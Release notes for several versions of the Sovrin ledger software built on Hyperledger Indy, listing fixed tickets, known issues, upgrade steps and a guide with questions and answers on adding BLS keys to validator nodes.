Sovrin Release Notes¶
Disclosure¶
Although every attempt has been made to make this information as accurate as possible, please know there may be things that are omitted, not fully developed yet, or updates since this publication that were not included in the information below. Only the most pressing or significant items have been listed. For the entire list of tickets and or specific information about any given item, please visit the list at Hyperleder Indy’s Jira. Once logged in, simply navigate to Projects > Indy.
1.1.30¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.6.53 | | indy-anoncreds | 1.0.11 | | indy-node | 1.6.78 | | release version number | 1.1.30 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number | | — | — | — | | Fixed and issue where the ledger statuses and maximal consistency proofs is not canceled. | | INDY-1740 | | Fixed an issue where Bug in calling notifier methods in . | | INDY-1741 | | Fixed an issue where 35 view changes were happened during 10 minutes after nodes failure because of an invalid request. | | INDY-1696 | | Fixed an issue where the requests queue is not cleared in case of reject-nym transactions. | | INDY-1700 | | Fixed an issue where throughput critically decreases without causing view_change | | INDY-1672 | | Fixed an issue where Node can
’
t catch up large ledger. | | INDY-1595 | | Fixed an issue where we were unable to demote node in STN. | | INDY-1621 | | Fixed an issue where view changes happen when all responses should be rejected during load testing scenario. | | INDY-1653 | | Fixed an issue where node doesn’
t write txns after disconnection from the rest nodes. | | INDY-1580 | | Fixed an issue where throughput is degrading if backup primary is stopped. | | INDY-1618 | | | | | |Changes - Additions - Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | Switch off a replica that stopped because disconnected from a backup primary. | | INDY-1681 | | Extended load scripts emulating non-smooth load according to the changes in the core script. | | INDY-1667 | | Proof of stability under load. | | INDY-1607 | | Investigate Out of memory issues with the current load testing. | | INDY-1688 | | Do not re-verify signature for Propagates with already verified requests. | | INDY-1649 | | POA: Require multiple signatures for important transactions. | | INDY-1704 | | Support all FEEs txns in the load script. | | INDY-1665 | | Test domain transactions with FEEs. | | INDY-1661 | | 3PC Batch should preserve the order of requests when applying PrePrepare on non-primary. | | INDY-1642 | | Ability to switch off (remove) replicas with no changes of F value. | | INDY-1680 | | A node should be able to participate in BLS multi-signature only if it has a valid proof of possession. | | INDY-1589 | | Make validator info as a historical data. | | INDY-1637 | | | | | | Known Issue: There are possible OOM issues during 3+ hours of target load or large catch-ups at 8 GB RAM nodes pool so 32 GB is recommended. | | | | Known Issue: INDY-1447 - Upgrade failed on pool from 1.3.62 to 1.4.66 | Note that INDY-1447 was fixed in indy-node 1.5.68, but it still presents in indy-node 1.3.62 and 1.4.66 code. So, some of the nodes may not to be upgraded during simultaneous pool-upgrade. If this problem will appear, stewards should perform manual upgrade of indy-node in accordance with this instruction. | || | | | |
Upgrade Scripts:¶
Pool upgrade from indy-node 1.3.62 to indy-node 1.6.78 should be performed simultaneously for all nodes due to txn format changes.
Additional Information:¶
To reduce the risk of reproducing INDY-1447, it is recommended to use the old CLI for pool upgrade from indy-node 1.3.62.
All indy-cli pools should be recreated with actual genesis files. For more details about txn format changes see [INDY-1421]((https://jira.hyperledger.org/browse/INDY-1421).
1.1.17¶
Important: Several iterations were done very rapidly between the last release and this one. All of the changes, upgrades, etc… are included in this new release. Simply upgrading will include them all from 1.1.13 until 1.1.17. To see further, specific numerous changes, please reference the appropriate tickets in the Hyperledger Jira ticketing system.
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.6.51 | | indy-anoncreds | 1.0.11 | | indy-node | 1.6.73 | | release version number | 1.1.17 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number | | — | — | — | | Fixed and issue where the pool stopped writing after F change. | | INDY-1583 | | Fixed an issue where read_ledger was passing incorrectly formatted stdout and breaks convention | | INDY-1645 | | Fixed an issue where the node couldn
’
t catch up a large ledger. | | INDY-1595 | | Fixed an issue where the Validator Info may hang for a couple of minutes. | | INDY-1603 | | Fixed an issue where the read_ledger tool is not able to read the sovrin plugin ledger. | | INDY-1548 | | | | | |Changes - Additions - Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | Made it so that the 3PC Batch should preserve the order of requests when applying PrePrepare on non-primary. | | INDY-1642 | | Made it so that Monitor takes into account requests not passing the dynamic validation when triggering view change. | | INDY-1643 | | Improved throughput calculation to reduce a chance of false positive View Changes. | | INDY-1565 | | Made it so that the performance of monitor is improved. | | INDY-1660 | | Made it so that Stewards, can have a script that can generates Proof of possession for their BLS key. That value can now be used in a NODE txn. | | INDY-1588 | | Added Support Proof of Possession for BLS keys. | | INDY-1389 | | Made it so that the average is not used when calculating total throughput/latency of backups. | | INDY-1582 | | Made it so that any client requests are discarded during view change. | | INDY-1564 | | Created a simple tool to show graphical representation of some common metrics. | | INDY-1568 | | Changed default configs for better performance and stability. | | INDY-1549 | | | | | | Known Issue: Upgrade failed on pool from 1.3.62 to 1.4.66. | Note that INDY-1447 was fixed in indy-node 1.5.68, but it still presents in indy-node 1.3.62 and 1.4.66 code. So, some of the nodes may not to be upgraded during simultaneous pool-upgrade. If this problem will appear, stewards should perform manual upgrade of indy-node in accordance with this instruction (!) To reduce the risk of reproducing INDY-1447, it is recommended to use old CLI for pool upgrade. | INDY-1447 | | | | | |
Upgrade Scripts:¶
Pool upgrade from indy-node 1.3.62 to indy-node 1.6.73 should be performed simultaneously for all nodes due to txn format changes.
There must be sovrin package upgrade to 1.1.17 version after indy-node package upgrade. You need to specify package=sovrin in pool-upgrade command to do this.
1.1.13¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.6.49 | | indy-anoncreds | 1.0.11 | | indy-node | 1.6.70 | | release version number | 1.1.13 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number | | — | — | — | | Fixed and issue where several nodes (less than f) were getting ahead the rest ones under load. | | INDY-1473 | | Fixed an issue where the pool has stopped to write txns. | | INDY-1539 | | Fixed an issue where re-send messages to disconnected remotes. | | INDY-1497 | | Fixed an issue where the pool stopped writing under 20txns/sec load. | | INDY-1478 | | Fixed an issue where 1.3.62 -> 1.5.67 forced upgrade without one node in schedule failed. | | INDY-1519 | | Fixed an issue where tmp.log must have unique name. | | INDY-1502 | | Fixed an issue where a node needed to hook up to a lower viewChange. | | INDY-1199 | | Fixed an issue where the one of the nodes lagged behind others after forced view changes. | | INDY-1470 | | Made it so that View Change should not be triggered by re-sending Primary disconnected if Primary is not disconnected anymore. | | INDY-1544 | | | | | |
Changes - Additions - Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | Made it so that as a Trustee running POOL_UPGRADE txn, you can specify any package depending on indy-node, so that the package with the dependencies get upgraded. | | INDY-1491 | | Made it so that Monitor is reset after the view change. | | INDY-1555 | | Made it so that GC by Checkpoints are not triggered during View Change. | | INDY-1545 | | Made it so that the validator info must show committed and uncommitted roots for all states. | | INDY-1542 | | Explored timing and execution time. | | INDY-1475 | | Memory leaks profiling. | | INDY-1493 | | Bound connection socket to NODE_IP | | INDY-1531 | | Enable TRACK_CONNECTED_CLIENTS_NUM option | | INDY-1496 | | Updated revocation registry delta value during REG_ENTRY_REVOC writing. | | INDY-1378 | | Support latest SDK in Indy Plenum and Node. | | INDY-1480 | | Latency measurements in monitor are windowed. | | INDY-1468 | | Trust anchor permissions are not needed for ledger writes. | | INDY-1528 | | | | | | Known Issue: Docker pool can
’
t be built because of new python3-indy-crypto in sdk repo. The problem described in INDY-1517 will be fixed in the next release of indy-node. | Workaround for this problem is to add python3-indy-crypto=0.4.1 to the list of packages to be installed. | INDY-1517 | | Known Issue: Upgrade failed on pool from 1.3.62 to 1.4.66. Note that INDY-1447 was fixed in indy-node 1.5.68, but it still presents in indy-node 1.3.62 and 1.4.66 code. | So, some of the nodes may not to be upgraded during simultaneous pool-upgrade. If this problem will appear, stewards should perform manual upgrade of indy-node in accordance with this instruction:(!) To reduce the risk of reproducing INDY-1447, it is recommended to use old CLI for pool upgrade. | INDY-1447 | | | | | |Upgrade Scripts:¶
Pool upgrade from indy-node 1.3.62 to indy-node 1.6.70 should be performed simultaneously for all nodes due to txn format changes.
There must be sovrin package upgrade to 1.1.13 version after indy-node package upgrade. You need to specify package=sovrin in pool-upgrade command to do this.
1.1.12¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.5.47 | | indy-anoncreds | 1.0.11 | | indy-node | 1.5.67 | | release version number | 1.1.12 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number |
| — | — | — |
| Fixed and issue where logs were appearing in the old CLI. | | INDY-1471 |
| Fixed an issue where there were numerous blacklists under high loads. | | INDY-1461 |
| Fixed an issue where the pool stopped writing after 1114k txns (different view_no). | | INDY-1460 |
| Fixed an issue where the “AttributeError: NoneType object has no attribute ‘request’ during load”; was appearing. | | INDY-1464 |
| Fixed an issue where the validator-info was reading an empty file. | | INDY-1406 |
| Fixed an issue where validator-info -v –json wasn’t producing valid JSON. | | INDY-1443 |
| Fixed an issue where the first Pre-Prepare message had incorrect state trie
root right after view_change (on master replica). | | INDY-1459 |
| Fixed an issue where the pool could not order transactions because Node set incorrect watermarks after its restart. | | INDY-1455 |
| Fixed an issue where the pool stopped working due to several incomplete view changes. | | INDY-1454 |
| Fixed an issue where the node crashes on _remove_stashed_checkpoints. | | INDY-1427 |
| Fixed an issue where memory was running out during non-completed viewChange process (under load). | | INDY-1360 |
| Fixed an issue where part of nodes continued ordering txns after incorrect state trie
under load. | | INDY-1422 |
| Fixed an issue where the upgrade failed on pool from 1.3.62 to 1.4.66. | |INDY-1447 ||Fixed an issue where a forced upgrade from 1.3.62 -> 1.5.67 without one node in schedule failed. | |INDY-1519 || | | | |
Changes - Additions - Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | Implemented periodic restart of client stack to allow new clients to connect. | | INDY-1431 | | Got rid of peersWithoutRemotes. | | INDY-1467 | | High Watermark on backup may be reset to 300. | | INDY-1462 | | We now allow optional field in node-to-node and client-to-node. | | INDY-1494 | | Catchup during view change may last forever under the load. | | INDY-1463 | | Propagate Primary mode should not be set for already started view change. | | INDY-1458 | | Catchup needs to be finished during high load. | | INDY-1450 | | Included reviewed logging strings in Indy. | | INDY-1416 | | Added benchmark performance impact of recorder tool. | | INDY-1483 | | Decreased the amount of logging with INFO level. | | INDY-1311 | | Made it so that throughput measurements in monitor should are windowed. | | INDY-1435 | | Limited the number of requested PROPAGATES in MessageRequests. | | INDY-1386 | | Made it so that any client requests during view change are not processed. | | INDY-1453 | | Made it so that a node must send LEDGER_STATUS with correct last ordered 3PC after catch-up. | | INDY-1452 | | Fixed calculation of prepared certificates during View Change. | | INDY-1385 | | Made it so that catchup should not be interrupted by external events. | | INDY-1404 | | Known Issue: Upgrade failed on pool from 1.3.62 to 1.4.66. Note that INDY-1447 was fixed in indy-node 1.5.68, but it still presents in indy-node 1.3.62 and 1.4.66 code. So, some of the nodes may not to be upgraded during simultaneous pool-upgrade. If this problem will appear, stewards should perform manual upgrade of indy-node in accordance with this instruction: (!) To reduce the risk of reproducing INDY-1447, it is recommended to use old CLI for pool upgrade. | | INDY-1447 | | | | | |
Upgrade Scripts:¶
Pool upgrade from indy-node 1.3.62 should be performed simultaneously for all nodes due to txn format changes.
Additional Information:¶
All indy-cli pools should be recreated with actual genesis files. For more details about txn format changes see INDY-1421.
1.1.11¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.4.45 | | indy-anoncreds | 1.0.11 | | indy-node | 1.4.66 | | release version number | 1.1.11 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number |
| — | — | — |
| Fixed and issues where one of the nodes stopped writing after 44287 txns with errors in status. | | INDY-1410 |
| Fixed an issue where the pool stopped accepting transactions on 5731 txns (1 sec delays, no logging). | | INDY-1365 |
| Fixed an issue where the pool stopped writing after ~300,000 txns from 5 clients | | INDY-1315 |
| Fixed an issue where STN was not accepting transactions with only one node down. | | INDY-1351 |
| Fixed an issue where the pool stops taking txns at ~178k txns written in ledger. | | INDY-1260 |
| Fixed an issue where ReqIdrToTxn
does not store information about the ledger. | | INDY-1327 |
| Made simple Timeout fixes of the current View Change protocol. | | INDY-1341 |
| Fixed an issue where the migration fails in case of upgrade to version with new transactions format. | | INDY-1379 |
| Fixed an issue where --network parameter of read_ledger
doesn’t work. | | INDY-1318 |
| Fixed an issue where the /var/log/indy/validator-info.log was inappropriately owned by root. | | INDY-1310 |
| Created a fix around the issues found in the current logic of catch-up. | | INDY-1298 |
| Fixed GetValidatorInfo so it has correct validation for signature and permissions. | | INDY-1363 |
| Fixed an issue where there was an unhandled exception during node working. | | INDY-1316 |
| Fixed an issue where validator-info
and read_ledger
were giving inconsistent responses in node on provisional. | | INDY-1219 |
| Fixed an issue where the pool stops taking txns at 3000 writing connections. | | INDY-1259 |
| | | |
| | | | |
Changes - Additions - Known Issues¶
| Description | Workaround | Ticket |
| — | — | — |
| Reviewed and replaced assert
with exceptions in indy-plenum where needed. | | INDY-810 |
| Tuned RocksDB options for the best performance. | | INDY-1245 |
| Created a migration guide from Indy-node 1.3 to 1.4. | | INDY-1392 |
| Сhanged a key in the requests map and field reqIdr in Pre Prepare and Ordered. | | INDY-1370 |
| Investigated issues found during load testing of 25-nodes pool with increased timeouts for catchups and viewchange. | | INDY-1400 |
| We now support binding on separate NICs for Client-to-Node and Node-to-Node communication. | | INDY-1332 |
| Added short checkpoints stabilization without matching digests. | | INDY-1329 |
| Added indy-crypto package to the hold list. | | INDY-1323 |
| Removed ledger status based catch-up trigger together with the wrong catch-up workflow. | | INDY-1297 |
| Read-ledger without storage copy in case of RocksDB (RocksDB read-only mode support). | | INDY-1243 |
| Applied state machine to Catchup code. | | INDY-971 |
| Refactored the common Request structure. | | INDY-1124 |
| Refactored the common transactions structure. | | INDY-1123 |
| We now support the new libindy with changed txn format. | | INDY-1319 |
| Explored config parameters to find the best performance/stability settings. | | INDY-1334 |
| Extended the Validator Info tool to provide more information about the current state of the pool. | | INDY-1175 |
| A Steward needs to be able to get validator-info from all nodes. | | INDY-1184 |
| Modified existing load scripts for a better load testing. | | INDY-1279 |
| Performed a migration from LevelDB to RocksDB | | INDY-1244 |
| A Trustee needs to be able to restart the pool in critical situations. | | INDY-1173 |
| Move the log compression into separate process. | | INDY-1275 |
| Known Issue: There’s an incorrect read_ledger info with seq_no parameter. | | INDY-1415 |
| Known Issue: Pool upgrade should be performed simultaneously for all nodes due to txn format changes. All indy-cli pools should be recreated with actual genesis files. | | |
| List of breaking changes for migration from indy-node 1.3 to 1.4: | | 1.3-1.4 Migration Guide |
Upgrade Scripts:¶
Pool upgrade should be performed simultaneously for all nodes due to txn format changes.
All indy-cli pools should be recreated with actual genesis files.
CLI Upgrading:¶
Old CLI (indy
):
upgrade from 1.3 to 1.4 version
delete ~.ind-cli/networks/<network_name>/data
folder
replace both old genesis files by new ones (from 1.4 node or from sovrin repo)
New CLI (indy-cli
):
upgrade from 1.4 to 1.5 version recreate indy-cli pool using 1.4 pool genesis file (from 1.4 node or from sovrin repo)
Additional Information:¶
List of breaking changes for migration from indy-node 1.3 to 1.4:
https://github.com/hyperledger/indy-node/blob/master/docs/1.3_to_1.4_migration_guide.md
IndyNode 1.4 and LibIndy 1.5 compatibility:
General
By default LibIndy 1.5 will be compatible with IndyNode 1.3 (current stable), and not 1.4 (the new one).
LibIndy 1.5 can become compatible with IndyNode 1.4 if indy_set_protocol_version(2)
is called during app initialization.
Guideline for teams and apps
Applications can freely update to LibIndy 1.5 and still use stable Node 1.3
If an app wants to work with the latest master or Stable Node 1.4, then they need to support breaking changes (there are not so many, mostly a new reply for write txns as txn format is changed, see 1.3_to_1.4_migration_guide.md)
call indy_set_protocol_version(2)
during app initialization
Use https://github.com/hyperledger/indy-sdk/blob/b4a2bb82087e2eafe5e55bddb20a3069e5fb7d0b/cli/README.md#old-python-based-cli-migration to export dids from your old CLI wallet to the new one (new indy-cli).
1.1.10¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.2.42 | | indy-anoncreds | 1.0.11 | | indy-node | 1.3.62 | | release version number | 1.1.10 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number | | — | — | — | | Fixed an issue where the STN was losing consensus. | | INDY-1256 | | Fixed an issue where we were unable to use the read_ledger tool with the parameter “to”. | | INDY-1284 | |Fixed the upgrade from 1.2.223 (1.3.55 stable analogue) to 1.3.410 (rocksdb) wasn’t working.| |INDY-1330 | | | | | |
Changes - Additions - Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | Support was added for supervisord. | | https://github.com/hyperledger/indy-node/pull/588 | | Indy-node dependencies are fixed. | | | | | | | |
Upgrade Scripts:¶
None for this release.
Additional Information:¶
None at this time.
1.1.9¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-node | 1.3.56 | | release version number | 1.1.9 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number | | — | — | — | | The Node was restarting because of an
"
Out of memory"
error. | | INDY-1238 | | The pool was not working after not simultaneous manual pool upgrades. | | INDY-1197 | | When adding a new schema, field‘
attr_names’
of schema json can be an empty list. | | INDY-1169 | | This prevents an Identity Owner from creating a schema or claimDef. | | INDY-1111 | | There was the same primary for both instances 0 and 1. | | INDY-1112 | | The node logs were being duplicated in syslog. | | INDY-1102 | | It was possible to create several nodes with the same alias. | | INDY-1148 | | There was ambiguous behavior after node demotion. | | INDY-1179 | | One of the nodes were not responding to libindy after several running load tests. | | INDY-1180 | | When returning N-F nodes to the pool,"
View change"
was not occurring if the Primary node was stopped. | | INDY-1151 | | There was a failed restart after getting the"
unhandled exception (KeyError)"
. | | INDY-1152 | | Fixed a bug where you were unable to install indy-node if sdk repo is in sources.list | |INDY-1269 || | | | |Changes - Additions - Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | Made it so that a developer can distinguish logs of each replica. | | INDY-1186 | | Made it so a developer, can track the path of each request. | | INDY-1187 | | Made it so that you can use RocksDB as a key-value storage. | | INDY-1205 | | Refactored the common Request structure. | | INDY-1124 | | Made it so that it supports anoncreds revocation in Indy. | | INDY-680 | | Made it so that it supports REVOC_REG_DEF transaction. | | INDY-1134 | | Made it so that it supports GET_REVOC_REG_DEF request. | | INDY-1135 | | Made it so that it supports REVOC_REG_ENTRY transaction. | | INDY-1136 | | Made it so that it supports GET_REVOC_REG request. | | INDY-1137 | | Made it so that it supports getting state root by timestamp. | | INDY-1138 | | Got rid of the RAET code. | | INDY-1057 | | Incubation: Move CI part of pipelines to Hyperledger infrastructure. | | INDY-837 | | Made it so that a user can revoke a connection by rotating the new key to nothing. | | INDY-582 | | Known Issue: Define the policy how to restore node from the state when it
’
s stashing all the reqs and there is a risk of running out of memory. | | INDY-1250 | | Known Issue: Re-promoted node cannot hook up to a lower viewChange. | | INDY-1199 | | Known Issue: One of the nodes does not respond to libindy after several running load test. | | INDY-1180 | | Known Issue: One node fails behind others during the load_test with a high load. | | INDY-1188 | |Known Issue: Pool can be broken by primary node reboot in case of network issues between nodes. Note: RocksDB was added as dependency (INDY-1205). It is used for revocation, but the rest part of node functionality is still using LevelDB. | |INDY-1256 | | | | | |Upgrade Scripts¶
None for this release.
Additional Information:¶
None at this time.
1.1.8¶
Important: Upgrade to this version should be performed simultaneously for all nodes (with force=True
).
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.2.34 | | indy-anoncreds | 1.0.11 | | indy-node | 1.3.55 | | release version number | 1.1.8 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number | | — | — | — | | Transactions were missing from the config ledger after the upgrade. | | INDY-799 | | The node was broken after a load_test.py run. | | INDY-960 | | The pool stopped taking transactions after sending 1,000 simultaneous transactions. | | INDY-911 | | The pool stopped working: Node services stop with 1,000 simultaneous clients doing GET_NYM reads | | INDY-986 | | The node is broken after adding it to the pool. | | INDY-948 | | The generate_indy_pool_transactions command can be run only by an indy user. | | INDY-1048 | | Made it so that updates to existing Schemas are not allowed. | | INDY-1035 | | The pool was unable to write txns after two nodes adding. | | INDY-1018 | | Fixed a bug where it was possible to override CLAIM_DEF for existing schema-did pair. | | INDY-1083 | | Fixed a bug where here was a huge amount of calls and a lot of execution time in kv_store.py. | | INDY-1077 | | One of added nodes wasn
’
t catching up. | | INDY-1029 | | The pool stopped working and lost consensus while new node was performing a catch-up. | | INDY-1025 | | Performing a View Change on large pools of 19 or more nodes can cause pool to stop functioning. | | INDY-1054 | | Performing a View Change issue stopped the pool from accepting new transactions. | | INDY-1034 | | We were unable to send transactions in STN. | | INDY-1076 INDY-1079 | | Replica.lastPrePrepareSeqNo may not be reset on view change. | | INDY-1061 | | We were unable to send an upgrade transaction without including demoted nodes. | | INDY-897 | | The Nym request to STN was resulting in inconsistent responses. | | INDY-1069 | | The validator node was being re-promoted during view change. | | INDY-959 | | There was a false cancel message during an upgrade. | | INDY-1078 | | Transactions were being added to nodes in STN during system reboot.. | | INDY-1045 | | There were problems with nodes demotion during load test. | | INDY-1033 | | The node monitoring tool (email plugin) wasn’
t working. | | INDY-995 | | ATTRIB transaction with ENC and HASH wasn’
t working. | | INDY-1074 | | When returning N-F nodes to the pool, View Change does not occur if Primary node is stopped. | | INDY-1151 | | We were unable to recover write consensus at n-f after f+1 descent. | | INDY-1166 | | Newly upgraded STN fails to accept transactions (pool has been broken after upgrade because of one not upgraded node). | |INDY-1183 ||We were unable to submit upgrade transactions to STN. | |INDY-1190| | | | |Changes - Additions - Known Issues¶
| Description | Workaround | Ticket | | — | — | — | | Added indy-sdk test dependency to plenum and use indy-sdk for plenum tests. | | INDY-900 INDY-901 | | Published docker images to dockerhub. | | INDY-962 | | Simplified the view change code. | | INDY-480 | | Refactored config.py to reflect file folder re-factoring for Incubation. | | INDY-878 | | Added Abstract Observers Support. | | INDY-628 | | Moved scripts from sovrin-environment to one of Indy repos. | | INDY-1055 | | Got rid of Sovrin dependency in the environment scripts. | | INDY-1064 | | Updated information in
"
Getting Started with Indy"
. | | INDY-1062 | | Updated information in"
Setting Up a Test Indy Network in VMs"
. | | INDY-1062 | | Add iptables rules to limit the number of clients connections. | | INDY-1087 | | Knowledge transfer on Indy build processes. | | INDY-1088 | | Incubation: Move CI part of pipelines to Hyperledger infrastructure. | | INDY-837 | | Made it so that a user can revoke a connection by rotating the new key to nothing. | | INDY-582 | | Client needs to be able to make sure that we have the latest State Proof. | | INDY-928 | | Created it so that anyone could have access to an up-to-date Technical overview of plenum and indy. | | INDY-1022 | | Known Issue: Pool has lost consensus after primary demotion (with 4 nodes setup only). | | INDY-1163 | | Known Issue: Ambiguous behavior after node demotion. | | INDY-1179 | | Known Issue: One of the nodes does not respond to libindy after several running load test. | | INDY-1180 | |Known Issue: Pool does not work after not simultaneous manual pool upgrades. | |INDY-1197 ||Known Issue: Pool stops working if the primary node was not included to schedule in the upgrade transaction. | |INDY-1198 | | | | | |Additional Information:¶
Node promoting is not recommended for 1.3.52 version according to known issues because backup protocol instances may work incorrectly until next view change.
As mentioned above, upgrade to this version should be performed simultaneously for all nodes (with force=True
).
1.1.7¶
Component Version Information¶
| Components | Version Numbers | | — | — | | indy-plenum | 1.2.29 | | indy-anoncreds | 1.0.11 | | indy-node | 1.2.50 | | release version number | 1.1.7 | | | | |
Major Fixes¶
| Description | Additional Information | Ticket Number |
| — | — | — |
| A node was maintaining a pace with the network exactly 12 transactions behind. | | INDY-759 |
| New nodes added to an existing pool were unable to sync ledgers with the pool. | | INDY-895 |
| Scheduled upgrades were happening at the current time on some of the nodes. | | INDY-231 |
| Some nodes were not restarting after a canceled pool upgrade. | | INDY-157 |
| Sovrin logs were insufficient for failed upgrade. | | INDY-801 |
| A node was getting the wrong upgrade_log
entries after restarting and was running the wrong upgrade. | | INDY-917 |
| An earlier pool_upgrade
was not happening when there was an upgrade to schedule to happen in the future. | | INDY-701 |
| A validator was running instance change continually on the live pool. | | INDY-932 |
| New nodes added to an existing pool were unable to participate in consensus after the upgrade. | | INDY-909 |
| The node logs were repeating the message,
"
NodeRequestSuspiciousSpike suspicious spike has been noticed."
| | INDY-541 | | Unable to catch up the agent if a validator was down. | | INDY-941 | | The pool was unable to write nyms after BLS keys enabling. | | INDY-958 | | The last pool node isfailed to upgrade
; during a pool upgrade. | | INDY-953 |
| State Proof creating is fixed. | | INDY-954 |
| State Proof verifying is fixed. | | INDY-949 |
| | | | |
Changes - Additions - Known Issues¶
| Description | Workaround | Ticket |
| — | — | — |
| Signed State implementation | | INDY-670 |
| State Proofs implementation | | INDY-790 |
| Removed all non-Indy branding from the indy-plenum repo. | | INDY-829 |
| Removed all non-Indy branding from the indy-anoncreds repo. | | INDY-855 |
| Removed all non-Indy branding from the indy-node repo. | | INDY-830 |
| Backward compatibility of nodes with state proofs support with old clients. | | INDY-877 |
| Supported rebranding in sovrin package. | | INDY-880 |
| Supported rebranding in Docker and Vagrant environments of sovrin-environments. | | INDY-891 |
| Support of multiple pool networks by Indy Node. | | INDY-831 |
| Support of multiple pool networks by Indy Client (CLI). | | INDY-832 |
| Created proper file folder paths for system service. | | INDY-833 |
| Client needs to be able to send read requests to one Node only. | | INDY-927 |
| Client needs to be able to make sure that we have the latest State Proof. | | INDY-928 |
| Known Issue: Node is broken after load_test.py
run | | INDY-960 |
| | | | |
Additional Information:¶
Mapping of all file/folder changes are located here.
Upgrade Steps¶
- Send Pool Upgrade command so all nodes upgrade.
- Sometime later each Steward will need to do the following steps to add their BLS Keys:
Steps to Add BLS Keys¶
From the Validator Node:
- Generate a new 32-byte seed for the bls key (we recommend pwgen):
$ sudo apt install pwgen
$ pwgen -s -y -B 32 1
If the output has a single-quote symbol (‘), rerun until it doesn’t.
NOTE: This is not your Steward or Node seed.
- Record the seed somewhere secure.
- Switch to the indy user.
$ sudo su - indy
- Configure the BLS key.
$ init_bls_keys --name <NODE_ALIAS> --seed '<SEED>'
The --seed
is the seed you generated above, and will be used to create the BLS key.
Example with Seed:
$ init_bls_keys --name Node1 --seed 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
Capture the stdout at the end of the output, which looks like the following, and record it.
BLS Public key is 3AfkzUZVn2WT9mxW2zQXMgX39FXSY5qzohnMVpdvNS5KSath1YG5Ux4u9ubTFTaP6W55XX9Yx7xPWeYos489oyY53WzwNBG7X4o32ESnZ9xacLmNsQLBjqc6oqpWGTbEXv4edFTrZ88n93sEh4fjFhQMumaXxDfWJgd9aj7KCSpf38F
- Exit the indy user.
$ exit
From the CLI Node:
- Manually upgrade the CLI.
$ sudo apt update
$ sudo apt upgrade
- Launch the CLI.
$ indy
The first time running the upgraded CLI you will be prompted to migrate your previous settings. Answer “Yes.”
- Connect to the pool.
indy> connect live
- Set your Steward as the signer in the CLI.
indy@live> use DID <Steward DID>
Example:
indy@live> use DID Th7MpTaRZVRYnPiabds81Y
Note: If your DID is not found in the wallet, you will need to use your steward seed:
indy@live> new key with seed <steward_seed>
- Now you will send a node transaction like what you did when you added the node to the pool. You will add the BLS key as a new parameter to the transaction to update the pool ledger with this additional public key. For ‘dest’, use the same base58 value for this that was used when you initially onboarded your VM onto the provisional pool.
indy@live> send NODE dest=<node_dest> data={'alias':'<node name>','blskey': '<key_generated_by_init_bls_keys>'}
Example:
indy@live> send NODE dest=Gw6pDLhcBcoQesN72qfotTgFa7cbuqZpkX3Xo6pLhPhv data={'alias':'Node1','blskey': '3AfkzUZVn2WT9mxW2zQXMgX39FXSY5qzohnMVpdvNS5KSath1YG5Ux4u9ubTFTaP6W55XX9Yx7xPWeYos489oyY53WzwNBG7X4o32ESnZ9xacLmNsQLBjqc6oqpWGTbEXv4edFTrZ88n93sEh4fjFhQMumaXxDfWJgd9aj7KCSpf38F'}
Note: The ‘node_dest’ value can be found on the node with sudo read_ledger --type pool
.
Questions and Answers¶
BLS Keys for State Proofs¶
What does BLS stand for?
Boneh-Lynn-Shacham - The BLS signature scheme is used to verify that a signer is authentic.
How does the CLI use State Proof for confirmation?
When the CLI requests information about a transaction it checks the BLS signatures to verify the transaction was written by nodes that are part of the validator pool. The CLI sends a request to one node (arbitrary one). If the Reply doesn’t have a State Proof, or the reply is incorrect/invalid, then CLI falls back to sending requests to all Nodes and waiting for f+1 equal Replies.
What if not all nodes in the pool have BLS signing keys for a transaction?
Transactions only get signed if all nodes reaching consensus can sign it (>= n-f Nodes with correct BLS signatures).
Can the bls_seed be any 32 character seed like the Steward seed?
Yes.
When adding a new node to an existing pool where do I find my BLS key?
When initializing your node using init_indy_node
the output will display the keys for the node including the BLS key. It can be found in /var/lib/indy/<network_name>/keys/<node_name>/bls_keys/bls_pk file (e.g.: /var/lib/indy/sandbox/keys/Node1/bls_keys/bls_pk)
When you send the transaction to add the new node to the pool it will also contain the BLS key in the transaction shown in this example.
Example of send node command with BLS for 5th node in test pool:
send NODE dest=4Tn3wZMNCvhSTXPcLinQDnHyj56DTLQtL61ki4jo2Loc data= {'client_port': 9702, 'client_ip': '<IP_ADDRESS>', 'alias': 'Node5', 'node_ip': '<IP_ADDRESS>', 'node_port': 9701, 'services': ['VALIDATOR'], 'blskey':'2RdajPq6rCidK5gQbMzSJo1NfBMYiS3e44GxjTqZUk3RhBdtF28qEABHRo4MgHS2hwekoLWRTza9XiGEMRCompeujWpX85MPt87WdbTMysXZfb7J1ZXUEMrtE5aZahfx6p2YdhZdrArFvTmFWdojaD2V5SuvuaQL4G92anZ1yteay3R'}
Can I use a seed when generating my BLS keys?
For a new node when using init_indy_node
if you specify a seed for this script that same seed is used to generate your BLS keys.
For existing nodes being upgraded to 1.2.50, which includes state proofs, you would use the script init_bls_keys
where you can specify a 32-character seed on the command line.
init_bls_keys --name <NODE_ALIAS> --seed '<SEED>'
After running init_bls_keys
, Stewards of existing nodes will be required use their CLI node to update their validator’s information on the ledger to include the bls keys:
send NODE dest=<node_dest> data={'alias':'<node name>', 'blskey': '<key_generated_by_init_bls_keys>'}
Multi-network and indy_config.py¶
Where do I find the configuration file settings?
With file and folder changes the new location for indy_config.py
